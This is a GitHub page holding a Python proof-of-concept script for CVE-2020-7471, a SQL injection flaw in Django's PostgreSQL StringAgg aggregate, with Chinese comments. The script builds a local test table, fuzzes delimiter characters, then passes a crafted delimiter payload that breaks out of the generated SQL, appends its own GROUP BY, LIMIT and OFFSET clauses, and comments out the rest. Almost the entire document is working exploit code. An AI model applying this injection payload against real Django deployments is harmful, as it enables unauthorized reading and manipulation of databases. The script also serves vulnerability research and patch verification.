-
Notifications
You must be signed in to change notification settings - Fork 20
/
CVE-2020-7471.py
66 lines (57 loc) · 1.87 KB
/
CVE-2020-7471.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
# encoding:utf-8
import os
import django
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "sqlvul_project.settings")
# Django 版本大于等于1.7的时候,需要加上下面两句
if django.VERSION >= (1, 7):#自动判断版本
django.setup()
from vul_app.models import Info
from django.contrib.postgres.aggregates import StringAgg
from django.db.models import Count
"""
postgres 预先执行的SQL
CREATE DATABASE test;
\c test;
\d 列出当前数据库的所有表格
"""
def initdb():
data = [('li','male'),('zhao','male'),('zhang','female')]
for name,gender in data:
Info.objects.get_or_create(name=name,gender=gender)
def query():
# FUZZ delimiter
error_c = []
other_error_c = []
for c in "!@#$%^&*()_+=-|\\\"':;?/>.<,{}[]":
results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name',delimiter=c))
try:
for e in results:
pass
except IndexError:
error_c.append(c)
except:
other_error_c.append(c)
print(error_c)
print(other_error_c)
def query_with_evil():
'''
注入点证明
分别设置delimiter为 单引号 二个单引号 二个双引号
尝试注释后面的内容 ')--
:return:
'''
print("[+]正常的输出:")
payload = '-'
results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name', delimiter=payload))
for e in results:
print(e)
print("[+]注入后的的输出:")
payload = '-\') AS "mydefinedname" FROM "vul_app_info" GROUP BY "vul_app_info"."gender" LIMIT 1 OFFSET 1 -- '
results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name', delimiter=payload))
for e in results:
print(e)
if __name__ == '__main__':
print(django.VERSION) # 测试版本 3.0.2
initdb()
query()
query_with_evil()